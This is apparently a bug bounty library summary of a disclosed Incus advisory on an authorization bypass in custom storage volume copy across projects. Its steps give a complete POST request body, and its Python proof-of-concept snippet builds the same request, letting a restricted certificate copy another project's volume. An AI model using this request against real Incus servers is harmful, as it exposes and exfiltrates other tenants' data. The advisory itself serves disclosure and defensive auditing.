# Incus has a project restriction bypass for custom volume copy across projects

Incus custom volume copy trusted attacker-supplied source project name, letting a restricted certificate copy volumes from projects it cannot access.

- Payout: Research
- Severity: high
- Program: Incus
- Found by: antifob
- Disclosed: 2026-08-28
- CVE: CVE-2026-55621
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-64f3-v33m-w89f
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-64f3-v33m-w89f
- Tags: area:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:ghsa sev:high technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** Incus REST API storage volume creation endpoint (/1.0/storage-pools/{pool}/volumes/custom)
**Root cause:** The storage volume creation handler authorizes creation in the target project but passes the attacker-controlled `req.Source.Project` into `CreateCustomVolumeFromCopy` without any CanView/entitlement check on the source volume.
**Steps:**
1. Create project `secrets` with custom volume `secret-vol` on pool `default`.
2. Restrict a certificate to project `default` only (`restricted: true`, `projects: [default]`).
3. POST to `/1.0/storage-pools/default/volumes/custom?project=default` with body `{"name":"copy-secret-vol","type":"custom","content_type":"filesystem","source":{"type":"copy","name":"secret-vol","project":"secrets","volume_only":false}}` using the restricted cert.
4. Wait for copy, then `incus storage volume ls remote:default` shows the copied volume.
**How found:** Code review of the storage volume creation handler: noticed target-project authorization but no source-volume entitlement check before `CreateCustomVolumeFromCopy`, with `req.Source.Project` attacker-controlled.
**Exploitation:** Attacker with a restricted certificate knowing the source project and volume names issues a copy request naming the forbidden project in `source.project`; the server copies the volume into an allowed project, exposing its contents. Volume can then be moved to another server.
**Escalation:** After copying, the volume can be moved off-server, enabling exfiltration of secrets beyond the original host.
**Insight:** In multi-tenant APIs, copy/clone/move operations have two authorization surfaces — destination and source. Audit every handler that accepts a source reference (project, pool, snapshot) for a separate CanView check on the source object.

## Proof of concept (copied exactly from the original report)

**Request body with attacker-controlled source project**

```
source = {
        "type": "copy",
        "name": args.source_volume,
        "project": args.source_project,
        "volume_only": args.volume_only,
    }
    if args.source_pool:
        source["pool"] = args.source_pool

    body = {
        "name": args.name,
        "type": "custom",
        "content_type": args.content_type,
        "source": source,
    }
    path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
        urllib.parse.quote(args.pool, safe=""),
        urllib.parse.urlencode({"project": args.target_project}),
    )
```

